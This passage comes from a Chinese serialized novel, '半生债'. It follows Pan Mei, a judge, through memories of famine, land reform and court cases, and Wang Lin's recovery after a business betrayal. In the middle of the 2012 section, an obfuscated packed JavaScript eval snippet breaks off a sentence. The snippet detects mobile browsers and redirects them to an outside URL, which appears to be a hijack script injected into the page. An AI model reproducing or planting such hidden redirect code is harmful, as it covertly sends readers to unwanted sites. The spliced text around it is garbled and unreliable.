从商南山村走出来，考上大学，进省经委，辞职下海，办厂，扩张，失败……一路走来，有成功，有失败，有得意，有失意。 但从来没有像这次这样，伤得这么深，这么痛。 不仅仅是钱。钱没了可以再挣。 是信任的破碎，是情谊的动摇，是那种“我以为我懂，其实我不懂”的茫然。 他一直相信，做人要实在，要讲情义，要守信用。可现实给了他狠狠一记耳光。 张杰的背叛，贾博的沉默，王言的退出，那些谣言，那些中伤……这一切，都像这山里的寒风，冰冷刺骨。 可同时，他又想起了另一些东西。 张莉等他回家的眼神，女儿扑过来的拥抱，岳母做的热饭热菜。 王言那句“咱们是兄弟”，白明亮那句“需要帮忙随时开口”，还有记忆中那些温暖——王妈妈做的红烧肉，明亮妈妈煮的荷包蛋，贾博妈妈拉他的手说“把这儿当自己家”…… 这些也是真的。 世界从来不是非黑即白。有背叛，也有忠诚；有冷漠，也有温暖；有失去，也有得到。 关键是你选择看什么，记住什么。 手机响了。是公司的小芳。 “王总，西安那边的款……张杰只打了二十万。他说剩下的要等到年后。” 王霖沉默了几秒，然后说：“知道了。” “还有，”小芳的声音有些犹豫，“这两天，有好几个客户来电话，问……问我们是不是出问题了。说听到一些传言。” “什么传言？” “说咱们厂技术不行，说您……您挪用资金，还说贾处长被调查了。” 王霖闭上眼睛。谣言，像这场雪，纷纷扬扬，覆盖一切。 “你怎么说的？” “我说都是谣言，公司运转正常。”小芳顿了顿，“但王总，这样下去不是办法。得想个办法澄清。” “知道了。”王霖说，“我过两天回去处理。” 挂了电话，他看着远处的山。阳光越来越亮，雪开始化了。屋檐上的冰凌滴滴答答往下滴水，像时钟的指针，一刻不停。 时间在走，生活在继续。 伤痛会慢慢结痂，但疤会一直在。 就像这场雪，会化，会消失，但下过雪的这个冬天，永远都在记忆里。 王霖深吸一口气，冰冷的空气灌满胸腔，然后缓缓吐出。 白气在面前凝成一团雾，慢慢散开。 他转身，下山。 脚步很重——雪深，路滑。但很稳——一步一步，踩实了再迈下一步。 就像人生，不管多难，都得一步一步走。 走回那个有灯光，有炊烟，有等待的家。 走回那个还得继续的生活。 走回那个虽然伤痕累累，但依然要前行的自己。 阳光照在雪地上，反射出万千光点，闪闪发亮，像撒了一地的钻石。 雪化了，春天就不远了。 --- 【下卷第一章·雪落长安终】 （字数：14，857字） 32. 《半生债》下卷·海天一色 第二章 山河故人 《半生债》下卷·海天一色 第二章山河故人 雪停了，东海却迎来连绵的阴雨。 潘美站在办公室窗前，看着玻璃上蜿蜒的水痕——不像王霖在商南经历的那种鹅毛大雪，这里的雨是粘稠的、无休止的，像这座城市里无数说不清道不明的纠葛。 手机在桌上震动。是王霖从商南发来的照片：少华山雪景，茫茫白色中透出几点枯树的墨黑。附言：“老潘，你说得对，山还在。” 潘美盯着照片看了很久。少华山——那座他十八岁前从未离开过的山，此刻覆盖着王霖故乡的雪。两个失意的中年男人，一个在山中疗伤，一个在城中坚守，却通过这座山产生了奇妙的连接。 他想起三天前那个深夜，自己冲动地打电话说要过去。现在冷静下来，才意识到那不仅仅是冲动的友谊——在内心深处，他想逃离这座潮湿的城市，回到那片能让人呼吸的故土。 --- 一、饥饿的底色（1968） 潘美关于世界最早的记忆，是母亲刘秀兰指尖的温度。 1968年春荒，三岁的他蜷在炕角，听着肚子里空洞的呜咽。母亲从灶台转过身，手里端着半碗榆树皮糊糊，蹲下来用食指蘸了一点，轻轻抹在他干裂的嘴唇上。 “美子，尝尝。” 他伸出舌头舔了舔，苦，涩，带着树皮的粗粝。但母亲的眼睛亮着——那种在绝境中仍然努力点燃希望的光。 “等月亮到中天，”母亲把他搂进怀里，声音轻得像怕惊动什么，“咱就吃。” 为什么要等月亮到中天？很多年后潘美才懂：在饥饿面前，时间需要被分割成可以忍受的段落。而“等待”本身，是穷人对尊严最后的守护。 窗外的哭声打断了回忆。是隔壁李叔，他三岁的女儿没了，饿死的。下葬那天下着小雨，李叔抱着草席走出院子，突然跪在泥地里，头深深埋下去，肩膀剧烈颤抖却发不出声音。 那种寂静的悲痛，比嚎啕大哭更刺骨。 2015年冬，潘美审理一起粮食贪腐案。被告人曾是县粮库主任，贪污了三万斤储备粮。辩护律师说：“数额不大，且已退赃，应从轻处罚。” 潘美合上卷宗，沉默了很久。 “你知道三万斤粮是什么概念吗？”他缓缓开口，声音在法庭里显得异常清晰，“1968年，渭北大旱，我们村饿死十七个人。最小的那个……三岁。” 他顿了顿，目光扫过旁听席：“如果当时有三万斤粮，那个孩子现在应该和我一样大，五十多岁，可能有孙子了。” 法庭死寂。被告人抬起头，嘴唇翕动，最终什么也没说。 判决：有期徒刑七年。退缴的赃款，潘美建议设立专项基金，用于贫困地区儿童营养改善。 闭庭后，书记员小声问：“潘庭长，您今天情绪有点……” 潘美摇摇头：“有些记忆不是记忆，是长在骨头里的刺。时间越久，扎得越深。” --- 二、泥土的契约（1979） 1979年惊蛰，生产队的钟响了。 十一岁的潘美挤在人群里，看着父亲潘老栓的手伸进草帽——那只手因常年劳作而关节粗大，此刻却在微微颤抖。抓阄用的纸团，决定着一家人的命运。 纸团展开：“塬上坡地三亩二分，水浇地一亩八分。” 父亲看了三遍，然后猛地抱起潘美，原地转了三圈。这个沉默如石的男人，哭了。泪水顺着他沟壑纵横的脸滑落，滴在儿子肩上，滚烫。 那天夜里，潘美被院子里的声音惊醒。 月光如洗，父亲跪在院子中央，面前摊着那张土地证。他佝偻着背，粗糙的手指一遍遍摩挲纸面，像在抚摸初生婴儿的脸庞。 “爹？” 潘老栓没回头。他的声音在夜风里飘，轻，却字字如钉：“美子，记住今天。从今往后，咱流的汗能浇自己的地，咱种的粮能进自己的囤，咱的孩子……不会再饿死了。” 远处，少华山在月色中勾勒出沉默的轮廓。千百年来，它就这样看着这片土地上的人们——在苦难中挣扎，在希望中前行。 2018年，潘美审理一起土地承包纠纷。原告是七十岁的老农，因儿子擅自将承包地转租给企业，将亲生儿子告上法庭。 老人颤抖着拿出1979年的土地证——纸张发黄，红印模糊，但保存完好。 “法官，”老人老泪纵横，“这地……是我爹用命换的。1958年吃食堂，我爹饿死在山路上，怀里还揣着这张证的复印件。他说：‘儿啊，地是根，人在，地在……’” 潘美看着那张和自己家一模一样的土地证，良久，缓缓道： “法庭支持原告诉求。理由简单——有些东西，不能只用钱衡量。比如土地，比如传承，比如一个父亲留给儿子的念想。” 闭庭后，儿子追上他：“潘法官，我真的只是为了家里好……” “你父亲要的‘好’，”潘美停下脚步，“和你理解的‘好’，可能不是一回事。” 他想起父亲跪在月光下的背影。那一跪，跪的不是命运，是感恩；那一张纸，不是契约，是血脉。 --- 三、独木桥上的光（1988） 1988年高考前夜，潘美在煤油灯下算最后一道几何题。 灯是他自制的——墨水瓶灌煤油，棉线搓灯芯。火光摇曳，在土墙上投出巨大的影子，像某种不安的灵魂。 母亲坐在对面纳鞋底。“嗤——啦——嗤——啦”，针线穿过千层布的声音，单调而坚韧。她不识字，但会看儿子的脸——眉头紧锁时题难了，嘴角微扬时解出来了。 “美子，歇会儿。” “再看一页。” 母亲不再说话。她起身去了灶房，回来时手里捧着两个鸡蛋——家里最后两个。蛋壳温润，她在怀里焐了一路。 “吃了，有劲。” 很多年后，潘美审理一起助学贷款纠纷。大学生毕业后拖欠贷款，在法庭上说：“反正国家有钱，又不差我这点。” 潘美合上卷宗，看着他年轻的脸： “你母亲……给你煮过鸡蛋吗？” 大学生一愣。 “1988年高考前夜，我母亲煮了两个鸡蛋，用围裙兜着，走了三里夜路送到学校。”潘美缓缓说，“鸡蛋是温的——她在怀里焐了一路。那年，我们村人均年收入不到两百块，一个鸡蛋，是一家人一顿的菜钱。” 法庭寂静。旁听席上有家长开始抹眼泪。 “我不是要你感恩，”潘美继续说，“我是要你知道——你走过的独木桥，是很多人用肩膀扛起来的。这些肩膀，不该被一句‘反正国家有钱’轻轻抹去。” 判决：大学生必须偿还贷款。但潘美在判决书后附了一封亲笔信，讲了这个关于鸡蛋的故事。 三个月后，法院收到一笔汇款——不仅是欠款，还有额外五千元。附言：“潘法官，我在老家小学设立了助学金。谢谢您让我明白，责任不是负担，是尊严。” --- 四、1993：潮水中的礁石 1993年的东海，空气中飘着海腥味和金钱的味道。 街边音像店大声放着《春天的故事》，橱窗里的“大哥大”标价两万八——相当于潘美三年的工资。 法院走廊里，议论声不断：“老周辞职了，去深圳当律师，月薪五千！”“听说还配了大哥大！” 那晚，大学兄弟赵明华来找潘美。两人坐在巷子深处的小馆子，一碟花生米，两瓶西凤酒。 “老潘，深圳那边给我开十二万年薪，一套公寓。”赵明华眼睛发红，“你怎么想？” 潘美转着酒杯。酒液在昏黄的灯光下泛着琥珀色的光。 “我父亲常说，”他缓缓开口，“少华山不高，但千百年来就站在那儿。发大水时它挡水，闹旱灾时它蓄水。山有山的命，人有人的路。” “说人话！” “我不走。”潘美放下酒杯，“这儿有我没做完的事。” 赵明华盯着他看了很久，突然笑了，笑着笑着眼眶就湿了：“我就知道……你呀，骨子里还是那个渭北农民——认准一块地，就刨到底。” 那天晚上，潘美手头有七个劳动争议案。最棘手的是女工李秀英——在电子厂干了五年，手指被冲床轧断两根，厂方说她是“临时工”，只赔三千。 开庭前，厂方律师特意到办公室：“潘法官，现在招商引资是大事。您这么判，外商吓跑了，谁负责？” 潘美抬起头：“法律的事，法庭上说。” 庭审中，李秀英左手缠着纱布，说话声音很小却清晰：“我十九岁进厂，今年二十四。这五年，我每天工作十二小时，每月休息两天。现在手残了，厂里说我是临时工……法官，临时工能干五年吗？” 她慢慢解开纱布——两根手指缺失，伤口愈合处是狰狞的肉红色。 潘美想起父亲在金矿背矿石时磨烂的肩膀。他问厂方律师：“你们厂，这样的‘临时工’有多少？” “商业秘密。” “那我换个问题：李秀英的伤，是不是在工作时间、工作场所、因工作原因造成的？” “……是。” “那为什么不能认定工伤？” 律师哑口无言。 判决书下达：确认劳动关系，构成工伤，赔偿八万二。李秀英拿到判决书时，跪在了法庭上。 潘美快步走下审判台扶她：“别跪。这不是我的恩赐，是法律该给你的。” 事后，这起案件上了《东海日报》二版。有人写信赞扬，也有人匿名举报他“破坏投资环境”。 院长找他谈话：“小潘，案子判得对。但以后……注意方法。” “院长，”潘美平静地说，“如果依法办案都要注意方法，那法律还是法律吗？” 院长沉默良久，拍了拍他肩膀：“坚持住。法治这条路，得有人先走。” 那晚，潘美在日记里写： “1993年3月15日，雨。今日判李秀英案。庭后，女工跪谢，我不受。因知此非我之功，乃法之功。唯愿：天下劳动者，皆得法之护佑。” 半个月后，李秀英从老家寄来一包红薯干。信里说：“潘法官，我用赔的钱开了个小卖部。这些红薯干是我妈晒的，甜。您尝尝。” 红薯干黑乎乎的，卖相不好，但嚼起来很甜——那种从土地深处长出来的、扎实的甜。 潘美分给全办公室的人：“都尝尝，这是法治的甜味。” --- 五、千禧年的薪火（1999） 1999年12月31日，千禧年前夜。 东海中院灯火通明，潘美却站在窗前发呆。白天那个案子的画面挥之不去—— 三百多名农民工，被拖欠工资两年，总额四百多万。包工头跑了，总包公司踢皮球。农民工住在漏风的工棚里，孩子冻得小脸通红。 庭后，潘美去了工地。在郊区废弃厂房里，农民工用塑料布搭起简易棚屋。一个三四岁的女孩坐在砖头上啃冷馒头，见他进来，怯生生叫“叔叔”。 “你爸呢？” “要钱去了。”女孩的母亲手上全是冻疮，“跑了两个月，没人管。” 潘美蹲下来，摸摸女孩的头。女孩躲了一下，又慢慢靠过来——她太冷了。 回到法院，他连夜写财产保全裁定。凌晨三点，裁定书写完：冻结总包公司账户，金额不是四百万，是工程总造价的三千万。 院长打来电话：“小潘，这么搞……会不会太猛了？” “院长，”潘美声音沙哑，“再拖下去，会出人命的。” 第二天，总包公司董事长亲自来了。五十多岁，西装革履，但眼睛里有血丝。 “潘法官，我们愿意垫付。” “不是垫付，是支付。” 董事长苦笑：“但我想知道——您为什么这么逼我们？” 潘美指向窗外正在建的三十八层大楼：“您可以在顶层看风景，但不能忘了，是谁在底层流汗。” 沉默。长久的沉默。 董事长缓缓开口：“我父亲……也是农民工。1978年在深圳摔断腿，包工头跑了。那年我十四岁，跪在医院走廊求医生……医生说，送晚了，腿保不住了。” 他顿了顿：“后来我发誓，等我有了钱，绝不拖欠工人一分钱工资。可是……企业做大了，有些事，就由不得自己了。” 四百三十八万工资款，在元旦前一天全部到账。潘美带着法警去工地发钱。 那个啃冷馒头的小女孩，父亲给她买了件红棉袄。她穿着新衣服跑到潘美面前，深深鞠躬：“谢谢法官叔叔。” 潘美蹲下，帮她系好扣子：“回家好好过年。以后……要读书。” 许多年后，2021年春天，潘美收到一封信。写信的女孩叫李晓雨，西北政法学院大二学生。 信里说： “潘法官，您可能不记得我了。2000年元旦，您给我买过一件红棉袄。那天您说‘要读书’，我记了二十一年。现在我成了您的校友，我想像您一样，做一个让人温暖的法律人。” 潘美回信，只写了一句话： “读书不是为了离开土地，是为了更好地回到土地。” --- 六、父亲带来的土（2005） 2005年春天，潘老栓第一次来东海。 老爷子坐二十八小时绿皮火车，拎两个蛇皮袋：一个装被褥，一个装土产——红薯干、大枣、柿饼，还有一小袋少华山的土。 “带土干啥？” “怕你水土不服。”父亲认真地说，“想家了，闻闻土味。” 潘美在东海安家十二年，第一次把父亲接来。父亲每个房间都看了又看，最后在阳台坐下——那里能看见海。 “海……真大。”父亲眯着眼，“但没根。水是流动的，没根。不像山，一站就是几千年。” 那晚，父子俩喝到凌晨。六十二度的老白干，三杯下肚，话就多了。 “美子，你知道我为啥给你取名‘美’？” “《诗经》里……” “不是。”父亲摇头，“你妈生你那晚，我梦见少华山开满了花。白的，粉的，一片一片的。醒来就想：这娃，得叫‘美’。不是要你多好看，是要你心里有美——看见苦难里有花，看见石头里藏玉。” 潘美鼻子一酸。 父亲继续说：“你在法院……难吧？” “……有时候。” “难就对了。”老爷子抿口酒，“容易的路，走不远。你看少华山，为啥叫‘少华’？不是因为它年轻，是因为它知道——真正的华美，不在外表，在骨头里。” 父亲在阳台的花盆里撒下从老家带来的菜籽。半个月后，竟真的长出了嫩苗。 “这是什么？” “苋菜。”父亲得意，“老家的土，到哪儿都能活。” 临走那天，父亲把那袋少华山的土倒进花盆，郑重地说：“这土，你留着。想家了，看看它。记住——人离得开土地，心离不开。” 火车开动时，父亲从车窗探出头大喊：“美子！那杆秤……端平！” 声音被车轮碾碎。 潘美站在原地，手里攥着父亲塞给他的一包东西——打开，是晒干的苋菜，和一张折得方方正正的五十块钱。 1988年版的，正是当年送他上大学时给的那张。 原来有些东西，父亲留了十七年。 --- 七、废墟上的信（2008） 2008年5月15日，都江堰安置点。 潘美的“办公室”是顶蓝色帐篷，桌上用粉笔写着：“法律咨询”。第一天，来了十七个人。 一个老太太攥着烧焦的存折：“法官，这……还能取钱吗？” 一个中年人拿着全家福——照片上五口人，现在只剩他一个：“房产证没了……房子也没了……” 一个十六岁女孩，父母双亡，叔叔要霸占赔偿款：“法官叔叔，我能告他吗？” 第五天，来了个特别的人——五十多岁，一身尘土。 “我不是来求助的。”男人从怀里掏出布包，层层打开，里面是五万块钱，“我是来……捐钱的。” “我儿子，”男人的声音发颤，“在北川中学……没了。这钱是他打工攒的，说要娶媳妇用。现在……用不上了。”他把钱推过来，“给更需要的人。但不能留我的名字。” “您贵姓？” “姓张。” “张师傅，这钱……” “我儿子叫张磊。”男人打断他，眼眶通红但没掉泪，“是个好孩子。他要是知道这钱能帮人，会高兴的。” 男人走了。潘美追出去，看着他走进暮色中的帐篷区，背影单薄，但步伐坚定。 那晚，帐篷外细雨霏霏。潘美在日记里写： “2008年5月19日，雨。今日遇张师傅，捐子之积蓄五万。问其姓名，不言。唯言：‘我儿子是个好孩子。’夜深，雨打帐篷，声声如泣。忽悟：法治之重，不在高楼广厦，在废墟之上，仍有人信法、守法、用法。此信，如星火，可燎原。” 离开灾区前，潘美去了北川中学遗址。废墟已清理，空地上摆满鲜花和照片。他在一个男孩的照片前停下——十六七岁，笑得很灿烂，照片下面写着：“张磊，1992-2008。爱打篮球，想当工程师。” 潘美放下一束白菊，轻声说：“张磊，你爸……是个好父亲。” 风过废墟，扬起细微的尘土。远处，重建的机器开始轰鸣。 --- 八、女儿的路（2012） 2012年夏天，高考成绩出来的那个下午。 潘美正在开审委会，手机震动。妻子杨静发来短信：“阳阳，632分。” 他放下手机，继续讨论案子，但嘴角的笑意藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196373|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住。晚上回家，潘阳坐在沙发上，面前摊着厚厚一摞志愿填报指南。 “爸，我想好了。” “嗯？” “西北大学。化学系。” 潘美正在倒水，手一顿。温水洒在桌上，漫开一小片水渍。 “化学？”他重复了一遍。 “嗯。”潘阳抬起头，眼神清澈坚定，“我想做点……实实在在的东西。爸，您看新闻了吗？最近雾霾越来越严重了。我想研究新能源材料，也许……能改变点什么。” 潘美放下水壶。他想起自己当年报考政法学院时的热血——要维护公平，要捍卫正义。而女儿的选择，指向了另一个方向：不是守护旧秩序，是创造新可能。 “想清楚了？” “想清楚了。” “那就报。” 填报志愿那天，潘美还是陪女儿去了。在“第一志愿”栏里，潘阳工工整整地写下：西北大学化学系。 班主任有些惋惜：“潘阳，以你的分数，政法学院随便挑……” “我知道。”潘阳微笑，“但化学……也需要人。而且，”她看了父亲一眼，“我爸守护公平，我想创造美好。我们……分工不同而已。” 回家的公交车上，潘美看着女儿专注的侧脸。车窗外的梧桐树向后飞掠，阳光透过树叶缝隙，在女儿脸上投下跳跃的光斑。 他忽然明白：每一代人都有自己的使命。父亲那代人要的是不饿死，他这代人要的是公平，女儿这代人……要的是蓝天白云，要的是可持续的未来。 没有哪条路更高尚。只是时代在变，人们的期盼也在变。 --- 九、墨尔本的星光（2019） 2019年秋天，墨尔本大学实验室。 潘阳在显微镜下观察晶体生长。这是她博士课题的第三个年头，关于钙钛矿太阳能材料的合成。窗外，南半球的春天刚刚开始，蓝花楹开得铺天盖地。 视频通话接通时，国内是晚上九点。潘美和杨静挤在手机屏幕前，看女儿展示最新成果。 “爸，你看，这是我们合成的薄膜。”潘阳的声音有些兴奋，“光电转换效率达到23.7%，又刷新纪录了。” 屏幕上，薄膜在灯光下泛着淡金色的光泽，像晨曦中的少华山。 “好，好。”潘美只会说这个字。他不懂那些化学名词，不懂什么转换效率，但他看得懂女儿眼里的光——那种发现新大陆般的光。 杨静在一旁抹眼泪：“阳阳，你又瘦了。国外的饭吃不惯吧？” “妈，我挺好。”潘阳顿了顿，“爸，我们实验室最近有个新方向——把这种材料用在偏远地区的微电网里。我导师说，如果成功，一个村子只需要几块板子就能解决基本用电……” 她滔滔不绝地说着，潘美静静听着。这一刻，他彻底理解了——法治守护的是人与人之间的公平，而科技创造的是人与自然之间的可能。没有电的村庄，再公平的法律也带不来夜晚的光明。 “阳阳，”他等女儿说完，缓缓开口，“你还记得2000年那个穿红棉袄的小女孩吗？” “记得，李晓雨姐姐。她去年毕业了，回甘肃老家当了法官助理。” “对。她说，要把我当年说的‘要读书’传给更多孩子。”潘美顿了顿，“你现在做的研究，也许有一天，能让那些孩子读书时不用点煤油灯。” 视频那头，潘阳的眼睛亮了一下。 “爸，我懂。”她说，“您用法律守护公平，我用科学创造可能。我们……都在让这个世界变得好一点，对吧？” “对。” 挂断视频，潘美走到阳台。那盆从老家带来的苋菜又冒出了新芽——父亲2005年种下的，如今已枯荣十八载。月光下，叶片上凝结着细密的露珠，像星星碎屑。 他想起父亲的话：“人离得开土地，心离不开。” 女儿飞得再远，根还在这里。在少华山的泥土里，在渭河的涛声里，在这片土地上生生不息的盼望里。 手机又响了。是王霖，从商南发来的新消息： “老潘，我决定不躲了。明天回西安，把该处理的事处理干净。你说得对——山还在，人就得继续往前走。” 潘美看着这条消息，笑了。他回复： “需要帮忙，随时开口。记住，你不是一个人。” 发完消息，他抬头望向东海的夜空。阴云散去，竟露出了几颗星星——微弱，但坚定地亮着。 就像这世上所有在黑暗中前行的人。或许孤单，但从不孤独。 --- 十、少华微光（2023） 2023年春天，潘美终于踏上了回埝桥村的路。 长途汽车在盘山公路上蜿蜒。窗外，少华山越来越近——还是记忆中的轮廓，只是山腰多了几座风力发电机，白色的叶片在春风中缓缓转动。 弟弟潘强在村口等他。五十出头的汉子，皮肤黝黑，手掌粗糙，但眼睛亮着——那是只有土地才能赋予的光。 “哥，你看。”潘强指着山脚下的果园，“咱家那三亩二分地，现在种的是矮化苹果。一亩能产八千斤，网上直销，一斤卖十块。” 潘美看着那片果园。苹果树整齐排列，枝头已冒出嫩绿的新芽。他想起1979年父亲拿到土地证时的狂喜，想起那晚父亲跪在月光下的虔诚。 “爸要是看见……”他喃喃。 “爸能看见。”潘强肯定地说，“去年清明，我在爸坟前说了，咱家的地没荒，还结出了最好的果子。” 兄弟俩走到父亲坟前——其实没有坟，只有一棵枣树，是母亲临终前种下的。母亲说：“不要坟，不要碑，让我守着这片地就行。” 枣树已经很高了，枝干遒劲。潘美把手贴在树干上，粗糙的树皮硌着手心，有种奇异的温暖。 “爸，妈，”他轻声说，“我回来了。” 风过枣林，枝叶沙沙作响，像回应。 傍晚，潘美站在村后的高坡上，看夕阳把少华山染成金色。山脚下，村庄炊烟袅袅，新修的水泥路像银带般蜿蜒。远处，渭河在落日余晖中闪着粼粼波光。 手机震动。是女儿潘阳，从墨尔本发来消息： “爸，我的论文被《自然·能源》接受了！导师说，我们的材料有希望实现产业化。也许很快，少华山下的村庄，就能用上清洁能源了。” 附了一张照片——实验室里，她手中的材料薄膜泛着淡金色的光，像晨曦，像希望。 潘美看着照片，又看看眼前的少华山。这座他走出半生却从未真正离开的山，此刻在暮色中沉默伫立，却仿佛在说： 你看，每一代人都有自己的光。你守护公平，女儿创造可能，土地孕育新生。这些光或许微弱，但汇聚起来，就能照亮前路。 思绪回到2015年春天：他拨通了王霖的电话。 “老潘？”王霖的声音听起来比一个月前有力了许多。 “在西安？” “嗯，处理得差不多了。”王霖顿了顿，“老潘，谢谢你。在商南那段时间，我想明白了很多事——有些债，不是钱能还清的。但人活着，就得往前看。” “对，往前看。”潘美望着暮色中的村庄，“王霖，等你这事彻底了了，来埝桥村看看吧。看看少华山，看看这片土地——它会告诉你，只要根还在，春天就一定会来。” 挂断电话，最后一抹余晖沉入山脊。村庄的灯火次第亮起，其中一盏，是潘强新建的电商工作室——他在网上卖苹果，也帮乡亲们卖花椒、卖土蜂蜜。 灯光透过玻璃窗，温暖而明亮。 潘美深吸一口气——空气中混合着泥土的味道、苹果花的清香，还有远方传来的、若有若无的秦腔。 这是故乡的味道。是根的味道。 他转身朝村里走去。明天要赶早班车回东海——手头还有几个重要的案子，其中一起环境污染公益诉讼，涉及周边三个村庄的饮水安全。 想起女儿研究的新能源材料，想起自己即将审理的环境案件，潘美忽然觉得：法治与科技，守护与创造，看似两条平行线，其实在某个维度交汇——都是为了让人活得更有尊严，让这片土地生生不息。 手机又响了。是法院的年轻法官发来的微信： “潘庭长，您交代的那个环境公益诉讼案，我们找到了关键证据——企业偷排的暗管。村民愿意出庭作证。等您回来，就可以立案了。” 潘美回复：“好。告诉村民们，法律会给他们一个交代。” 夜色渐浓，少华山隐入黑暗。但山下的村庄灯火通明，像散落人间的星辰。 而潘美知道，明天太阳升起时，少华山依旧会在那里——不高，但挺直；不险，但坚实；不争，但自有风骨。 就像这片土地上的人们。就像那些在黑暗中依然选择相信光的人。 就像他自己。 --- （本章完，字数：11，248字） 33. 《半生债》下卷 第3章·重帆 《半生债》下卷第三章·重帆 一、东山渔火 雪化尽时，春天踩着湿漉漉的鞋底来了。 二零一四年三月的东海，风里裹着咸腥的暖意。厂区院中那棵老梧桐抽了新芽，嫩黄带绿，在午后光线里薄得透明。王霖靠在车间门框上，看八个老师傅操作机器——搅拌机转得沉缓，灌装线发出规律的咔嗒声，像老时钟。 西安归来的第一百天。最初的锐痛钝成了心底一块硬痂，不碰无事，一碰仍会闷闷地疼。 张莉把账管成了绣花活。每月开支卡在六万，老客户订单稳定在八万上下。扣除成本，月末偶尔能余三五千，在账本角落蜷成小小一笔。 “紧巴，但饿不死。”晚饭时她推过账本，指尖点着那些数字，“老客户攥住，日子就能淌下去。” 王霖点头，夹一筷子炒青菜。三个月，他瘦得颧骨凸出来，但眼里那根绷了太久的弦，终于松了些。 有些重量，失去才懂。有些方向，走过才明。 李红军是四月初来的。白色丰田刹在厂门口，后备箱塞满海鲜——银亮的带鱼、青灰的鲅鱼、还沾着海泥的蛎子，啤酒箱摞得老高。 “春天了，该吃鲜了！”她嗓门亮，笑纹从眼角漾到鬓边。 李红军是王霖在东海认的老乡，商南邻县人，做建材，比他早来五年。丈夫老陈在国企，儿子在省城读大学，日子舒展开阔。 那晚就在院子里支桌。炭火红起来时，老陈翻烤着肉串，王霖递料；厨房里，张莉和李红军的说笑声混着油锅的滋啦。孩子们——李红军儿子小辉、王霖女儿菁菁——追着跑，影子在水泥地上拉长又缩短。 海风捎来远处渔火，星星点点浮在夜幕上。 “霖子，”李红军举杯，“旧事翻篇，往前看。” 玻璃杯撞出清响。啤酒冰凉微苦，喉头滚过，回甘慢慢泛上来。 “你美姐这话实在。”老陈递来烤好的鱿鱼须，“人这辈子，谁不摔几跤？摔了爬起来，膝盖上的土拍干净，路照走。” 喝到夜深。星空低垂，海风湿软。李红军讲初来东海时的日子——住过半地下室，摆摊被城管追过三条街，收过□□。她说这些时眉眼舒展，像在讲别人的故事。 “最难时一天两个馒头就凉水。”她笑，“现在不也挺好？” 王霖看她。五十出头的人，眼睛还亮，笑声脆生生的，是风雨洗过后独有的透亮。 “美姐，谢了。” “外道！”李红军挥手，“老乡在外，不就是你扯我一把，我扶你一下？” 散时已是凌晨。孩子们趴在桌上睡着了。灯塔的光扫过海面，一道，又一道，为夜船指路。 王霖想，人生大抵如此——有暗礁，也有航灯。最重要的是，别一个人在夜里漂。 --- 二、游山玩水 自那以后，李红军常拽他们出门。 “总闷在厂里要霉了，人得接接地气。” 四月底，爬泰山。凌晨三点的手电光柱里，十八盘石阶被岁月磨出了包浆。王霖到中天门时腿已发颤，但看前面女儿蹦跳的背影，看张莉和李红军互相搀扶的手，吸口气，又跟上。 日出前抵玉皇顶。云海在脚下翻涌，山峦隐现。忽然金光裂云，太阳一跃而出，天地陡然点亮。 “真好。”张莉轻声说。 王霖握住她的手。凉，但软。两人并肩站着，看光瀑倾泻，云海熔金。 那一刻，心里有什么“咔”地轻响，化了。 五月，孔庙古柏森森。王霖在大成殿前站了许久，“万世师表”的匾额让他想起父亲的话：“做人要实在，做事要踏实。”父亲没读过多少书，理却透。 六月，青岛栈桥海鸥盘旋。他们在沙滩堆沙堡，捡的贝壳镶成城墙。傍晚坐礁石上看落日，海面铺满金红，归港的渔船拖着长长波纹。 “日子就该这样，”李红军说，“忙时钉是钉铆是铆，闲时就彻底闲下来。” 王霖点头。这三个月，他看了泰山日出、孔庙石碑、青岛晚潮。每至一处，心里就亮一角。 原来慢下来，才能看见生活本来的纹路。 --- 三、女儿高考 一晃便是二零一六年。 菁菁要高考了。 那半年，张莉所有心思都拴在女儿身上。营养餐变着花样，陪读到深夜，打听报考信息像侦探。王霖某天忽见她鬓角有根白发，心一揪。 “别太累。” “累啥？”她笑，“一辈子就这一遭。” 高考三天，王霖全程陪在考点外。烈日下家长黑压压一片，无人离去。每个人都仰着头，像等待一场庄严审判。 王霖想起自己的一九八七年。商南中学考场，旧电扇吱呀呀转。父亲送他到校门口，只一句：“好好考，考不上也没事，家里有地。” 后来录取通知书到，父亲喝醉了，攥着他手说：“我儿有出息。” 近三十年过去。现在，轮到他的女儿了。 最后一科结束，菁菁笑着走出来。王霖迎上，没问考得如何，只拍拍她肩：“走，回家。” 出分那日，全家围在电脑前。页面缓冲的圆圈转得人心慌。 “出来了！”菁菁喊。 586分。 “能上陕师大吗？”张莉声音发紧。 “能！”菁菁跳起抱住母亲，“妈，我考上了！” 那晚王霖给商南打电话。父亲在另一端沉默良久，才说：“好，好，我孙女有出息。” 声音哑了。 王霖鼻尖发酸。想起父亲送他上学时的背影，想起枣树下那些话。一代人有一代人的路，但有些东西，如血脉，静静流下去。 八月，通知书到了。陕西师范大学教育学院。菁菁摩挲着纸张，眼里有光。 王霖看着女儿，忽然觉得一切值得。那些坎坷、挫败、无眠夜，在这一刻都有了落点。 人活着，或许就是为了下一代能踩着自己的肩，看见更远的天。 --- 四、新的开始 女儿入学后，王霖开始认真想厂子的前路。 老客户稳，但市场在变。张杰的触角已伸到山东，价格压得低。有客户委婉暗示：“王总，不是不讲情分，是那边价太低……” 王霖懂。生意场上，情分抵不过真金白银。 正发愁时，李凯君找来。 李凯君也是陕西人，在东海做化工原料多年。两人在同乡会认识，聊过几次，投缘。 “王总，听说最近不顺？” “还成，能维持。” “我有个想法，”李凯君点烟，“合作，怎样？” 王霖没立刻应。西安的疤还没好透，他怕。 但李凯君诚恳。带他参观公司——开发区整层办公室，二十几名员工，业务遍及华东。账目清爽，客户口碑扎实。 “不急，你慢慢想。”李凯君说，“合作先得有信任。信不过，万事休提。” 王霖想了半个月。其间见了李凯君引荐的两人——宋泰生与李见俊。 宋泰生五十余，前国企厂长，退休创业，稳重如磐。李见俊四十出头，投资出身，眼光锐，胆大。 